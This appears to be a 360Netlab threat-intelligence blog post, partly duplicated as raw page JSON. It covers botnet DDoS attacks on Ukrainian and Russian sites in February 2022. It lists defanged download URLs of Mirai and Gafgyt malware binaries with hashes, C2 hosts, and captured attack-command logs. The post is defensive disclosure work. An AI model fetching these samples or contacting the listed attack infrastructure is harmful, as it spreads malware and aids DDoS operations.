# hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i486 49b9d14010071605549dc0dfb77d5f59
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i486 e5822f8f9bc541e696f5520b9ad0e627
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i686 1b7247a2049da033a94375054829335d
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i686 c2135973f6d059d9dd09a853cfa241fc
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.m68k 45677381938006bbc019753dfdffb945
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.m68k 68ed4532bd6ad79f263715036dee6021
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mips 69b51b792b1fca9a268ce7cc1e1857df
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mips d38cc4879fe0bc66cb8e772b28fbfd15
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mpsl 39532b27e2dbd9af85f2da7ff4519467
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mpsl 69717fbd6954f16794ff46e4b7c0f58a
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.ppc
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.sh4 0eca53a2dca6384b7b1b7de186e835b5
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.sh4 b21e118e9f6b4b393719e0669214946a
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.spc 340255b25edf28c8de140f3f00306773
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.spc 84c7c39e3f1a4bdfdcfaa4800d410829
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86 bfaffefb3cc7f301d017242ca832cf45
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86 e2b103a3b74dd0bfd98ffd27ed07f2c6
hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86_64 8be8a51819d7493de15c5ad7471fe1cc
# C2 mirai_209.141.33.208
hxxp://209.141.33.208/bins/Zeus.arm ac9a7a24b3e5229df0e35f99bd8f4dd0
hxxp://209.141.33.208/bins/Zeus.arm5 0592fc8590bb8b01618bd1075bf45971
hxxp://209.141.33.208/bins/Zeus.arm6 a9a286065f59e833ce6310e4ca0a327a
hxxp://209.141.33.208/bins/Zeus.arm7 2a9ad76fbfe573820d89edc832a759a9
hxxp://209.141.33.208/bins/Zeus.m68k 16cc3f8359b55d32f133ecfd78092dcd
hxxp://209.141.33.208/bins/Zeus.mips 75011d511ee19c482cd12271c238d7d3
hxxp://209.141.33.208/bins/Zeus.mpsl f3dd9da090cc830e370dfa3a96128bd0
hxxp://209.141.33.208/bins/Zeus.ppc a7578b554b50cf01c43ebc54c3029fb2
hxxp://209.141.33.208/bins/Zeus.sh4 9798c9f24407da3bb709384f161e20a5
hxxp://209.141.33.208/bins/Zeus.spc 283d7df13561c851d8959f24dce2af99
hxxp://209.141.33.208/bins/Zeus.x86 d1bf7c6e6dde347ea3414cbf38b4e25f
# C2 gafgyt_172.245.6.134
hxxp://172.245.6.134:80/bins/arc ed6013177b8c7e61f936c14b698c7bdc
hxxp://172.245.6.134:80/bins/arm 89bb874db266e9aa4d9c07e994a0f02d
hxxp://172.245.6.134:80/bins/arm5 6a9587b5c95d16ce915c3218aa0ef68c
hxxp://172.245.6.134:80/bins/arm6 53526f9affd4d2219e6a33d497ef17f3
hxxp://172.245.6.134:80/bins/arm7 831353dd99cae5bb9ae7dcf125bbe46c
hxxp://172.245.6.134:80/bins/m68k ad59c219813642fc8d9af23131db12d1
hxxp://172.245.6.134:80/bins/mips 72e13614d7f45adce589d3ab6a855653
hxxp://172.245.6.134:80/bins/mpsl 9d2ed5fb9b586cb369b63aea5ee9c49e
hxxp://172.245.6.134:80/bins/ppc 4b0b53b2f13ceb16b14f8cf7596682bc
hxxp://172.245.6.134:80/bins/sh4 8e26db0a91c6cc2c410764d1f32bbac3
hxxp://172.245.6.134:80/bins/spc 13ead0d75d2fcdf53c7d6d8f40f615f4
hxxp://172.245.6.134:80/bins/x86 015ed26cc1656246177004eab5c059fe
hxxp://172.245.6.134:80/bins/x86 67d2f13fcd2622c85d974a6c41c285a4
# C2: gafgyt_188.127.237.5
hxxp://188.127.237.5/a-r.m-4.Sakura f422e76ceead6fb12a1c53a68ed2f554
hxxp://188.127.237.5/a-r.m-5.Sakura 870e6969eb7db126e945cfd7e9a2ed5f
hxxp://188.127.237.5/a-r.m-6.Sakura 619517a7ff244de1dc574d2ffb6553d3
hxxp://188.127.237.5/a-r.m-7.Sakura 478ab4262768222839d51c7ea2e5e46f
hxxp://188.127.237.5/i-5.8-6.Sakura 03f6aeda4b403cead904240faec8d32f
hxxp://188.127.237.5/m-6.8-k.Sakura d3dd19a2ae9228ca71bdf58e3450e205
hxxp://188.127.237.5/m-i.p-s.Sakura 2a2cc9b33cfefc1f8dcf4eed09666ddc
hxxp://188.127.237.5/m-p.s-l.Sakura 37f0100946589aeacdc647ccb14e9baa
hxxp://188.127.237.5/p-p.c-.Sakura f422e76ceead6fb12a1c53a68ed2f554
hxxp://188.127.237.5/s-h.4-.Sakura df831e3d07da42cfa5acf95ef97a753a
hxxp://188.127.237.5/x-3.2-.Sakura 8c2a26b9171964d12739addb750f2782
hxxp://188.127.237.5/x-8.6-.Sakura 9612862c128b5df388258a2e76e811a0
C2 used to attack .ru sites:
gafgyt_195.133.40.71
gafgyt_212.192.241.44
gafgyt_46.249.32.109
mirai_130.162.32.102
mirai_137.74.155.78
mirai_142.93.125.122
mirai_152.89.239.12
mirai_173.254.204.124
mirai_185.245.96.227
mirai_45.61.136.130
mirai_45.61.186.13
mirai_46.29.166.105
mirai_84.201.154.133
mirai_ardp.hldns.ru
mirai_aurora_life.zerobytes.cc
mirai_cherry.1337.cx
mirai_offshore.us.to
mirai_pear.1337.cx
mirai_wpceservice.hldns.ru
moobot_185.224.129.233
moobot_goodpackets.cc
ripprbot_171.22.109.201
ripprbot_212.192.246.183
ripprbot_212.192.246.186
Contact us
Readers are always welcomed to reach us on Twitter or email us to netlab at 360 dot cn.
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"At 360Netlab, we continuously track botnets on a global scale through our BotMon system. In particular, for DDoS-related botnets, we further tap into their C2 communications to enable us really see the details of the attacks. Equipped with this visibility, when attack happens, we can have a clear picture of who the victim is, when, and exactly how the attack is carried out.\n\nWith the recent tensions between Russia and Ukraine, various government, military and financial institutions on both sides have been DDoSed. We have received inquiries from multiple channels about the specifics of the recent DDoS attacks on Ukrainian and Russian related websites, if we want a comprehensive and thorough analysis, there are tons of data still need to be combed through, this blog is only written to give our readers some quick updates, depends on the situation, we might have more in-depth ones to follow up.\n\n## DDoS attacks against Ukraine\nThe chart below shows the trend of attacks we have seen against **some** of the government websites.\n\n\n\nYou can see that the attacks started as early as February 12, and continued to grow in number and intensity, peaking on February 16, with a mix of NTP amplification, UDP/STD/OVH floods, and other types of attacks.\n\nBelow is the DDoS attack we saw against another website ending in ```.ua```, “online.oschadbank.ua”.\n\n\n\nThis particular C2 came online on 2/11 and sent its first attack command to its bots at 2022-02-16 03:02:37+08:00, and it only launched attacks targeting four 185.34.x.x/24 IPs(all belongs to UA bank oschadbank.ua), the last attack commands we received from it is at 2022-02-17 01:08:27+08:00. We informed security community internally about this C2 and consequently it has be taken down.\n\nOther than the NTP amplification attacks, the majority of DDoS attacks captured are botnet based, so far involving five different types of botnets(mirai, gafgyt, ircbot,ripprbot,moobot), more than 10 unique C2 IPs. Here we are not going to go over all the C2s’ technique details, but some brief breakdowns on 4.\n\n### 1, mirai_5.182.211.5\nAs mentioned earlier, this C2 attacked only one target, “oschadbank.ua”, during its active period (2022-02-11 to 2022-02-17). Our honeypot saw its samples continuously, and some of the URLs and MD5s are:\n```\ne5822f8f9bc541e696f5520b9ad0e627\thttp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i486\n39532b27e2dbd9af85f2da7ff4519467\thttp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mpsl\n69b51b792b1fca9a268ce7cc1e1857df\thttp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mips\n70aaa4746150eba8439308096b17d8cc\thttp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm\n68ed4532bd6ad79f263715036dee6021\thttp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.m68k\n54bd85b40041ba82ae1b57664ee3e958\thttp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arc\n1b7247a2049da033a94375054829335d\thttp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i686\nac4d8d0010775e185e12604c0e304685\thttp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86_64\n0eca53a2dca6384b7b1b7de186e835b5\thttp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.sh4\ncc79916e1e472a657a9ae216b2602a7b\thttp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm5\n8f488f3218baec8b75dc6e42e5c90a47\thttp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm6\nb307dd0043e94400f8632c4d0c4eae0e\thttp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm7\n340255b25edf28c8de140f3f00306773\thttp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.spc\ne2b103a3b74dd0bfd98ffd27ed07f2c6\thttp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86\n```\n\nThe samples are all Mirai variant with strong Mirai code features, retaining typical Mirai functions such as table_init() and attack_init(). The following are some of the attack commands it sent to its bots.\n\n```\n2022-02-16 21:27:44+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_7 \t185.34.224.121 \tatk_time=600,netmask=32,/wb/api/v2/session,post,{login:rrre,password:vvv,captcha:},443,online.oschadbank.ua,affected=online.oschadbank.ua\n2022-02-16 21:19:04+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_7 \t185.34.224.121 \tatk_time=600,netmask=32,online.oschadbank.ua,/wb/api/v2/session,post,{login:rrre,password:vvv,captcha:}\n2022-02-16 21:06:14+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=600,netmask=32,109.110.75.23,443,1,1,1,affected=online.oschadbank.ua\n2022-02-16 19:17:12+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=1200,netmask=32,1,109.254.6.88,443,1,1,affected=online.oschadbank.ua\n2022-02-16 18:55:07+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=1200,netmask=32,1,93.188.39.70,443,1,1,affected=online.oschadbank.ua\n2022-02-16 18:34:18+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=1200,netmask=32,91.206.111.88,443,1,1,1,affected=online.oschadbank.ua\n2022-02-16 18:15:23+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=1200,netmask=32,78.26.168.101,443,1,1,1,affected=online.oschadbank.ua\n2022-02-16 17:55:35+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=1200,netmask=32,195.182.202.20,443,1,1,1,affected=online.oschadbank.ua\n2022-02-16 17:39:01+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=900,netmask=32,443,1,1,1,37.115.24.108,affected=online.oschadbank.ua\n2022-02-16 17:24:37+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=900,netmask=32,78.31.254.20,443,1,1,1,affected=online.oschadbank.ua\n2022-02-16 17:24:37+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=900,netmask=32,78.31.254.20,443,1,1,1,affected=online.oschadbank.ua\n2022-02-16 16:48:55+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=900,netmask=32,443,1,1,1,249,46.219.126.90,affected=online.oschadbank.ua\n2022-02-16 13:41:41+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=120,netmask=32,255.255.255.255,443,1,affected=online.oschadbank.ua\n2022-02-16 13:25:49+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=120,netmask=32,255.255.255.255,443,1,affected=online.oschadbank.ua\n2022-02-16 13:23:33+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_6 \t185.34.224.121 \tatk_time=120,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua\n2022-02-16 11:06:32+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=10800,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua\n2022-02-16 05:04:45+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=21600,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua\n2022-02-16 01:02:32+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=7200,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua\n2022-02-15 23:00:06+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=7200,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua\n2022-02-15 21:00:08+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=7200,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua\n2022-02-15 20:01:13+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=3600,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua\n2022-02-15 18:55:36+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=3600,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua\n2022-02-15 18:30:32+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_5 \t185.34.224.121 \tatk_time=1800,netmask=32,255.255.255.255,443,affected=online.oschadbank.ua\n2022-02-15 18:08:50+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_0 \t185.34.224.121 \tatk_time=600,netmask=32,,affected=online.oschadbank.ua\n2022-02-15 17:42:26+08:00\tmirai \t5.182.211.5 \t60195 \tddos \tatk_7 \t185.34.224.121 \tatk_time=600,netmask=32,online.oschadbank.ua,affected=online.oschadbank.ua\n```\n### 2, mirai_209.141.33.208\nThe sample of this C2 has been available since January 25, and the timeline of it dropping samples is shown in the figure below.\n\n\n\nIt launched attack against “www.szru.gov.ua” on the 16th.\n```\n2022-02-16 05:35:38+08:00\tmirai \t209.141.33.208 \t209.141.33.208 \t9999 \tatk_2 \t193.109.8.66 \t80 \t{'netmask': 32,'flags': [{'fid': 7,'value': b'80'}]},affected=www.szru.gov.ua\n```\n\n### 3, gafgyt_172.245.6.134\nThe sample of this C2 started to spread as early as January 29, and the corresponding timeline of sample dropped is.\n\n\n\nThe following are some of the attack commands we received.\n\n```\n2022-02-17 01:46:30+08:00\tgafgyt \t172.245.6.134 \t61108 \tddos \tOVH \t213.156.91.92 \turi=/,OVH,213.156.91.92,443,30,1024,affected=mail.uss.gov.ua\n2022-02-17 00:08:31+08:00\tgafgyt \t172.245.6.134 \t61108 \tddos \tOVH \t193.17.44.246 \turi=/,OVH,193.17.44.246,443,60,1024,affected=bank.gov.ua\n2022-02-17 00:07:40+08:00\tgafgyt \t172.245.6.134 \t61108 \tddos \tHEX \t193.17.44.146 \turi=/,HEX,193.17.44.146,443,60,affected=bank.gov.ua\n2022-02-16 22:19:04+08:00\tgafgyt \t172.245.6.134 \t61108 \tddos \tOVH \t193.17.44.246 \turi=/,OVH,193.17.44.246,443,200,1024,affected=bank.gov.ua\n2022-02-16 22:18:33+08:00\tgafgyt \t172.245.6.134 \t61108 \tddos \tOVH \t193.17.44.146 \turi=/,OVH,193.17.44.146,443,200,1024,affected=bank.gov.ua\n2022-02-16 22:07:34+08:00\tgafgyt \t172.245.6.134 \t61108 \tddos \tHEX \t193.109.8.66 \turi=/,HEX,193.109.8.66,80,60,affected=www.szru.gov.ua\n2022-02-16 22:01:44+08:00\tgafgyt \t172.245.6.134 \t61108 \tddos \tHEX \t193.17.44.146 \turi=/,HEX,193.17.44.146,80,30,1024,affected=bank.gov.ua\n2022-02-16 21:57:02+08:00\tgafgyt \t172.245.6.134 \t61108 \tddos \tOVH \t193.17.44.246 \turi=/,OVH,193.17.44.246,443,60,1024,affected=bank.gov.ua\n2022-02-16 21:53:16+08:00\tgafgyt \t172.245.6.134 \t61108 \tddos \tOVH \t193.17.44.246 \turi=/,OVH,193.17.44.246,443,60,1024,affected=bank.gov.ua\n2022-02-16 21:46:41+08:00\tgafgyt \t172.245.6.134 \t61108 \tddos \tHEX \t193.29.204.11 \turi=/,HEX,193.29.204.11,443,120,affected=www.president.gov.ua\n2022-02-16 21:44:41+08:00\tgafgyt \t172.245.6.134 \t61108 \tddos \tHEX \t195.78.68.7 \turi=/,HEX,195.78.68.7,80,120,affected=mova-ombudsman.gov.ua\n2022-02-16 05:35:27+08:00\tgafgyt \t172.245.6.134 \t61108 \tddos \tHEX \t193.109.8.66 \turi=/,HEX,193.109.8.66,80,20,affected=fisu.gov.ua\n```\n\n### 4, gafgyt_188.127.237.5\nThis C2 sample was captured on February 6, and it attacked the “od.tax.gov.ua” website on February 16.\n\n```\n2022-02-16 01:54:00+08:00 gafgyt 188.127.237.5 606 STDHEX 193.200.32.26 STDHEX,193.200.32. 26,80,120,affected=od.tax.gov.ua\n```\n\n## DDoS attacks against Russia\nBelow are **some** of the attack we see against Russian websites. Note here only a small number of victims are displayed, as there are just way too many targets the diagram won’t be readable if we show all of them.\n\n\n\nWe are counting 25 C2s now related to .ru DDoS attacks so far, as mentioned above the raw data is vast we might need to wait for another time to go through more details but here is a list of the C2s.\n\n```\ngafgyt_195.133.40.71\ngafgyt_212.192.241.44\ngafgyt_46.249.32.109\nmirai_130.162.32.102\nmirai_137.74.155.78\nmirai_142.93.125.122\nmirai_152.89.239.12\nmirai_173.254.204.124\nmirai_185.245.96.227\nmirai_45.61.136.130\nmirai_45.61.186.13\nmirai_46.29.166.105\nmirai_84.201.154.133\nmirai_ardp.hldns.ru\nmirai_aurora_life.zerobytes.cc\nmirai_cherry.1337.cx\nmirai_offshore.us.to\nmirai_pear.1337.cx\nmirai_wpceservice.hldns.ru\nmoobot_185.224.129.233\nmoobot_goodpackets.cc\nripprbot_171.22.109.201\nripprbot_212.192.246.183\nripprbot_212.192.246.186\n```\n\n\n## IoC\n```\n# C2 mirai_5.182.211.5\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arc\t54bd85b40041ba82ae1b57664ee3e958\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm\t5096be3bab6b9731293472d7cbd78d18\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm\t70aaa4746150eba8439308096b17d8cc\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm5\t9636a88f8543b35d212e240c3094d7bb\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm5\tcc79916e1e472a657a9ae216b2602a7b\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm6\t8f488f3218baec8b75dc6e42e5c90a47\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm6\tc5350546e6d22075ac58f0b4410a9c9a\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm7\t59b9988a7132fda4fb89b3758411e9df\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.arm7\tb307dd0043e94400f8632c4d0c4eae0e\t\n# hxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i486\t49b9d14010071605549dc0dfb77d5f59\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i486\te5822f8f9bc541e696f5520b9ad0e627\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i686\t1b7247a2049da033a94375054829335d\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.i686\tc2135973f6d059d9dd09a853cfa241fc\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.m68k\t45677381938006bbc019753dfdffb945\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.m68k\t68ed4532bd6ad79f263715036dee6021\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mips\t69b51b792b1fca9a268ce7cc1e1857df\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mips\td38cc4879fe0bc66cb8e772b28fbfd15\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mpsl\t39532b27e2dbd9af85f2da7ff4519467\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.mpsl\t69717fbd6954f16794ff46e4b7c0f58a\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.ppc\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.sh4\t0eca53a2dca6384b7b1b7de186e835b5\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.sh4\tb21e118e9f6b4b393719e0669214946a\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.spc\t340255b25edf28c8de140f3f00306773\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.spc\t84c7c39e3f1a4bdfdcfaa4800d410829\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86\tbfaffefb3cc7f301d017242ca832cf45\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86\te2b103a3b74dd0bfd98ffd27ed07f2c6\t\nhxxp://5.182.211.5/z0l1mxjm4mdl4jjfjf7sb2vdmv/KKveTTgaAAsecNNaaaa.x86_64\t8be8a51819d7493de15c5ad7471fe1cc\t\n\n\n# C2 mirai_209.141.33.208\nhxxp://209.141.33.208/bins/Zeus.arm\tac9a7a24b3e5229df0e35f99bd8f4dd0\t\nhxxp://209.141.33.208/bins/Zeus.arm5\t0592fc8590bb8b01618bd1075bf45971\t\nhxxp://209.141.33.208/bins/Zeus.arm6\ta9a286065f59e833ce6310e4ca0a327a\t\nhxxp://209.141.33.208/bins/Zeus.arm7\t2a9ad76fbfe573820d89edc832a759a9\t\nhxxp://209.141.33.208/bins/Zeus.m68k\t16cc3f8359b55d32f133ecfd78092dcd\t\nhxxp://209.141.33.208/bins/Zeus.mips\t75011d511ee19c482cd12271c238d7d3\t\nhxxp://209.141.33.208/bins/Zeus.mpsl\tf3dd9da090cc830e370dfa3a96128bd0\t\nhxxp://209.141.33.208/bins/Zeus.ppc\ta7578b554b50cf01c43ebc54c3029fb2\t\nhxxp://209.141.33.208/bins/Zeus.sh4\t9798c9f24407da3bb709384f161e20a5\t\nhxxp://209.141.33.208/bins/Zeus.spc\t283d7df13561c851d8959f24dce2af99\t\nhxxp://209.141.33.208/bins/Zeus.x86\td1bf7c6e6dde347ea3414cbf38b4e25f\t\n\n# C2 gafgyt_172.245.6.134\nhxxp://172.245.6.134:80/bins/arc\ted6013177b8c7e61f936c14b698c7bdc\t\nhxxp://172.245.6.134:80/bins/arm\t89bb874db266e9aa4d9c07e994a0f02d\t\nhxxp://172.245.6.134:80/bins/arm5\t6a9587b5c95d16ce915c3218aa0ef68c\t\nhxxp://172.245.6.134:80/bins/arm6\t53526f9affd4d2219e6a33d497ef17f3\t\nhxxp://172.245.6.134:80/bins/arm7\t831353dd99cae5bb9ae7dcf125bbe46c\t\nhxxp://172.245.6.134:80/bins/m68k\tad59c219813642fc8d9af23131db12d1\t\nhxxp://172.245.6.134:80/bins/mips\t72e13614d7f45adce589d3ab6a855653\t\nhxxp://172.245.6.134:80/bins/mpsl\t9d2ed5fb9b586cb369b63aea5ee9c49e\t\nhxxp://172.245.6.134:80/bins/ppc\t4b0b53b2f13ceb16b14f8cf7596682bc\t\nhxxp://172.245.6.134:80/bins/sh4\t8e26db0a91c6cc2c410764d1f32bbac3\t\nhxxp://172.245.6.134:80/bins/spc\t13ead0d75d2fcdf53c7d6d8f40f615f4\t\nhxxp://172.245.6.134:80/bins/x86\t015ed26cc1656246177004eab5c059fe\t\nhxxp://172.245.6.134:80/bins/x86\t67d2f13fcd2622c85d974a6c41c285a4\t\n\n# C2: gafgyt_188.127.237.5\nhxxp://188.127.237.5/a-r.m-4.Sakura\tf422e76ceead6fb12a1c53a68ed2f554\t\nhxxp://188.127.237.5/a-r.m-5.Sakura\t870e6969eb7db126e945cfd7e9a2ed5f\t\nhxxp://188.127.237.5/a-r.m-6.Sakura\t619517a7ff244de1dc574d2ffb6553d3\t\nhxxp://188.127.237.5/a-r.m-7.Sakura\t478ab4262768222839d51c7ea2e5e46f\t\nhxxp://188.127.237.5/i-5.8-6.Sakura\t03f6aeda4b403cead904240faec8d32f\t\nhxxp://188.127.237.5/m-6.8-k.Sakura\td3dd19a2ae9228ca71bdf58e3450e205\t\nhxxp://188.127.237.5/m-i.p-s.Sakura\t2a2cc9b33cfefc1f8dcf4eed09666ddc\t\nhxxp://188.127.237.5/m-p.s-l.Sakura\t37f0100946589aeacdc647ccb14e9baa\t\nhxxp://188.127.237.5/p-p.c-.Sakura\tf422e76ceead6fb12a1c53a68ed2f554\t\nhxxp://188.127.237.5/s-h.4-.Sakura\tdf831e3d07da42cfa5acf95ef97a753a\t\nhxxp://188.127.237.5/x-3.2-.Sakura\t8c2a26b9171964d12739addb750f2782\t\nhxxp://188.127.237.5/x-8.6-.Sakura\t9612862c128b5df388258a2e76e811a0\t\n\nC2 used to attack .ru sites:\ngafgyt_195.133.40.71\ngafgyt_212.192.241.44\ngafgyt_46.249.32.109\nmirai_130.162.32.102\nmirai_137.74.155.78\nmirai_142.93.125.122\nmirai_152.89.239.12\nmirai_173.254.204.124\nmirai_185.245.96.227\nmirai_45.61.136.130\nmirai_45.61.186.13\nmirai_46.29.166.105\nmirai_84.201.154.133\nmirai_ardp.hldns.ru\nmirai_aurora_life.zerobytes.cc\nmirai_cherry.1337.cx\nmirai_offshore.us.to\nmirai_pear.1337.cx\nmirai_wpceservice.hldns.ru\nmoobot_185.224.129.233\nmoobot_goodpackets.cc\nripprbot_171.22.109.201\nripprbot_212.192.246.183\nripprbot_212.192.246.186\n```\n\n## Contact us\nReaders are always welcomed to reach us on [Twitter](https://twitter.com/360Netlab) or email us to [netlab at 360 dot cn]([email 